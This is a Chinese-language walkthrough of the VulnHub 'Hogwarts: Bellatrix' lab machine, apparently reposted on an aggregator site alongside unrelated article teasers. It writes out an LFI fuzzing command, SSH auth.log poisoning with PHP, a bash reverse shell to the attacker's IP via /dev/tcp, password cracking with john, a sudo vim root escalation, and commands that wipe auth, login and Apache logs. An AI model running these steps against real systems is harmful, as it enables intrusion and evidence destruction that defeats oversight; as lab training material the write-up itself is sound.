vulnhub靶场【Hogwarts】之bellatrix

news2025/1/6 11:41:19

前言

靶机:hotwarts-dobby,ip地址为192.168.1.69

攻击:kali,ip地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24扫描发现主机

信息收集

使用nmap扫描端口

网站信息探测

访问80端口,发现界面显示一串字符,观察其规律,最后有.php,可能是一个文件

查看页面源代码,可以看到给出几个信息点,其中一句话中大概意思是,这次在源代码界面中没有东西,或许我已经告诉你一个目录,.php文件

最终去重后,发现为一个php文件ikilledsiriusblack.php

漏洞寻找

根据前面的页面源代码查询中,发现有一个文件包含,参数为file,那么测试是否可行,尝试包含文件/etc/passwd,发现可以,并发现一个用户lestrange,只是,其采用的是rbash

测试发现,只是本地文件包含,并且/etc/shadow无权限

再次尝试对网站进行目录爆破,不过并没有东西产出

那么尝试使用ffuf配合linux的一些关键目录文件进行测试,观察有哪些可以访问

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.1.69/ikilledsiriusblack.php?file=FUZZ -fs 1728,0 
# -fs是过滤一些特定字节的网页,1728是其网站的默认字节
#这里的字典可以去github上下载一个

发现日志文件auth.log可以访问,尝试进行污染,因为该文件中在进行ssh身份认证时,会记录用户名及相关信息,所需要做的就是把用户名改成一段php代码

漏洞利用

然后尝试进行代码注入

这时候大概率已经注入成功,可以进行查看,一般都是在文件的最后位置,结合前面的信息,一般登录失败会把用户也显示,但是php作为脚本语言,并不会直接显示,判定,已经成功,记录在文件中了

那么尝试利用注入的代码,注入的代码可用

反弹shell

尝试进行一个bash反弹,获取终端

/bin/bash-c 'bash -i >& /dev/tcp/192.168.1.16/1234 >&1'
#这里最好对该语句进行URL编码处理

先在kali中使用nc开启一个监听,浏览器执行上面的语句后就会在kali中反弹成功

然后习惯性的查看当前目录下的文件,意外发现一个root所有者的目录,并且还可以查看,而且还是进行编码处理的名称

解码发现名称是secret,那就值得关注,进入到该目录,发现一个文件,查看后,发现是用户lestrange的hash

提权

水平提权至lestrange

那就简单了,这里可以直接进行hash破解,不过这里还是复习一下unshadow的使用,查看/etc/passwd中的lestrange,然后复制到kali中的一个文件,并把上面的hash也都复制到一个文件,使用unshadow整合在一起后,使用john爆破

这里需要注意,在查看目录是尽量使用ls -al,因为我这里就是因为使用kali中的字典进行爆破,但是长时间没效果,然后再次寻找的时候,发现提供了一个字典

复制该文件的内容,或者下载,怎么都行,只要把内容复制到kali中,然后使用john破解,发现密码ihateharrypotter

#复制文件/etc/passwd内容到kali中的user文件
#复制文件Swordofgryffindor内容到kali中的pass文件
#复制文件字典.sercret.dic内容到kali中的word.txt文件
#使用unshadow整合两个文件到userpass
unshadow user pass > userpass
john userpass --wordlist=word.txt 

这里图片中出现两次john是显示问题

使用用户名lestrange和密码ihateharrypotter登录ssh

查看当前目录下的文件,发现.bash_history,查看其内容

垂直提权至root

根据上面的历史命令记录,可能存在sudo提权,所以就不再使用find寻找具有SUID权限文件,直接sudo -l

发现vim,并且对应之前命令历史记录中的语句,可以直接使用,或者查看网站gtfobins.github.io中的方式

使用命令sudo vim -c ':!/bin/sh'提权,成功至root

并且有个script.sh脚本,查看发现原来是更改auth.log权限的

清理痕迹

日志清理,因为这次主要就是auth.log日志文件,所以要好好清理

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

历史命令记录

history -r 
history -c

总结

该靶场考察以下几点:

  1. 对于文件的发现,发现到的都要测试一下
  2. php语言的文件包含,此处使用的是include,包含时,会执行其文件
  3. 对于linux中的一些文件如何配合文件包含,这里就是身份认证日志文件auth.log,因为用户名是可控的,所以传入了脚本语言,导致造成危害
  4. 对于常见的提权,可以通过查看命令历史记录寻找其中可利用的点,或者利用suid或者sudo等提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2270625.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】链表(1):单向链表和单向循环链表

链表 链表是一种经典的数据结构,它通过节点的指针将数据元素有序地链接在一起,在链表中,每个节点存储数据以及指向其他节点的指针(或引用)。链表具有动态性和灵活性的特点,适用于频繁插入、删除操作的场景…

[实用指南]如何将视频从iPhone传输到iPad

概括 将视频从 iPhone 传输到 iPad 时遇到问题?您可能知道一种方法,但不知道如何操作。此外,您要传输的视频越大,完成任务就越困难。那么如何将视频从 iPhone 传输到 iPad,特别是当您需要发送大视频文件时&#xff1f…

GAN对抗生成网络(一)——基本原理及数学推导

1 背景 GAN(Generative Adversarial Networks)对抗生成网络是一个很巧妙的模型,它可以用于文字、图像或视频的生成。 例如,以下就是GAN所生成的人脸图像。 2 算法思想 假如你是《古董局中局》的文物造假者(Generator,生成器)&a…

利用 NineData 实现 PostgreSQL 到 Kafka 的高效数据同步

记录一次 PostgreSQL 到 Kafka 的数据迁移实践。前段时间,NineData 的某个客户在一个项目中需要将 PostgreSQL 的数据实时同步到 Kafka。需求明确且普遍: PostgreSQL 中的交易数据,需要实时推送到 Kafka,供下游多个系统消费&#…

在 C# 中优化 JPEG 压缩级别和文件大小

此示例可让您检查不同 JPEG 压缩级别的图像质量。使用文件菜单的打开命令加载图像文件。然后使用“JPEG 压缩指数 (CI)”组合框选择压缩级别。程序将图像保存到具有该压缩级别的临时文件中,并显示生成的图像和文件大小。 该程序的关键是以下SaveJpg方法,…

【PCIe 总线及设备入门学习专栏 4.1 -- PCI 总线的地址空间分配】

文章目录 Overview 本文转自:https://blog.chinaaet.com/justlxy/p/5100053219 Overview PCI 总线具有32位数据/地址复用总线,所以其存储地址空间为 2324GB。也就是PCI上的所有设备共同映射到这4GB上,每个PCI设备占用唯一的一段PCI地址&…

Linux系统离线部署MySQL详细教程(带每步骤图文教程)

1、登录官网下载对应的安装包 MySQL :: Developer Zone 2、将压缩包上传到服务器上,这里直接上传到/usr/local路径上 使用sftp工具上传到/usr/local目录上 3、解压压缩包 tar -xf mysql-8.0.39-linux-glibc2.17-x86_64.tar.xz 4、将mysql-8.0.39-linux-glibc2.17…

基于python的ai五子棋游戏

游戏 运行代码后,点击"Enable AI Opponent"按钮,AI将作为白棋自动下棋。 玩家作为黑棋,点击棋盘落子。 AI会根据当前棋盘局势自动选择落子位置。 界面 代码 import tkinter as tk from tkinter import messageboxBOARD_SIZE 15…

STM32 软件I2C读写

单片机学习! 目录 前言 一、软件I2C读写代码框架 二、I2C初始化 三、六个时序基本单元 3.1 引脚操作的封装和改名 3.2 起始条件执行逻辑 3.3 终止条件执行逻辑 3.4 发送一个字节 3.5 接收一个字节 3.5 发送应答&接收应答 3.5.1 发送应答 3.5.2 接…

多光谱图像的处理和分析方法有哪些?

一、预处理方法 1、辐射校正: 目的:消除或减少传感器本身、大气条件以及太阳光照等因素对多光谱图像辐射亮度值的影响,使得图像的辐射值能够真实反映地物的反射或发射特性。 方法:包括传感器校正和大气校正。传感器校正主要是根…

服务器数据恢复—离线盘数超过热备盘数导致raidz阵列崩溃的数据恢复

服务器数据恢复环境&故障: 一台配有32块硬盘的服务器在运行过程中突然崩溃不可用。经过初步检测,基本上确定服务器硬件不存在物理故障。管理员重启服务器后问题依旧。需要恢复该服务器中的数据。 服务器数据恢复环境: 1、将服务器中硬盘…

Jenkins管理多版本python环境

场景:项目有用到python3.8和3.9,python环境直接安装在jenkins容器内。 1、进入jenkins容器 docker exec -it jenkins /bin/bash 2、安装前置编译环境 # 提前安装,以便接下来的配置操作 apt-get -y install gcc automake autoconf libtool ma…

《机器学习》从入门到实战——逻辑回归

目录 一、简介 二、逻辑回归的原理 1、线性回归部分 2、逻辑函数(Sigmoid函数) 3、分类决策 4、转换为概率的形式使用似然函数求解 5、对数似然函数 ​编辑 6、转换为梯度下降任务 三、逻辑回归拓展知识 1、数据标准化 (1&#xf…

开发小工具:ping地址

开发小工具:ping地址 import socketdef tcp_port_scan(ip,port):#创建套接字socksocket.socket(socket.AF_INET,socket.SOCK_STREAM)#设置超时sock.settimeout(0.2)try:#发请求result sock.connect_ex((ip,port))if result 0:print(f{ip}--{port}接口连接成功)res…

41.1 预聚合提速实战项目之需求分析和架构设计

本节重点介绍 : 需求分析架构设计 需求分析 使用预聚合提速查询并且降低高基数查询对后端的压力用户无需变更grafana上的查询语句,后端自动替换效果图 架构设计 架构图 解决方案说明 heavy_query对用户侧表现为查询速度慢在服务端会导致资源占用过多甚至打挂…

同三维T80004ES H.265高清SDI编码器

1路SDI 1路3.5音频输入,1路SDI环出 产品简介: 同三维T80004ES高标清SDI音视频编码器支持1路高清或1路标清SDI音视频,1路3.5MM独立音频接口采集功能。编码输出双码流H.265/H.264格式,音频 MP3/AAC格式。编码码率可调,画面质量可控制…

C#高级篇 反射和属性详解【代码之美系列】

🎀🎀🎀代码之美系列目录🎀🎀🎀 一、C# 命名规则规范 二、C# 代码约定规范 三、C# 参数类型约束 四、浅析 B/S 应用程序体系结构原则 五、浅析 C# Async 和 Await 六、浅析 ASP.NET Core SignalR 双工通信 …

MySQL5.7.26-Linux-安装(2024.12)

文章目录 1.下载压缩包1.访问MySQL版本归档2.找到5.7.26并下载3.百度网盘 2.Linux安装1.卸载原来的MySQL8.0.26(如果没有则无需在意)1.查看所有mysql的包2.批量卸载3.删除残留文件**配置文件**(默认路径): 4.**验证卸载…

数据分析思维(六):分析方法——相关分析方法

数据分析并非只是简单的数据分析工具三板斧——Excel、SQL、Python,更重要的是数据分析思维。没有数据分析思维和业务知识,就算拿到一堆数据,也不知道如何下手。 推荐书本《数据分析思维——分析方法和业务知识》,本文内容就是提取…

前 5 名 IPhone 解锁工具/软件

设备已禁用并且您无法访问它?如果您无法通过密码解锁,尝试 iPhone 解锁软件可能是最好的解决方案。 虽然市场上有很多免费或付费的 iPhone 解锁工具,但您可能不知道它们之间的区别以及如何选择最适合您的工具。 本文将介绍 5 款iPhone 解锁…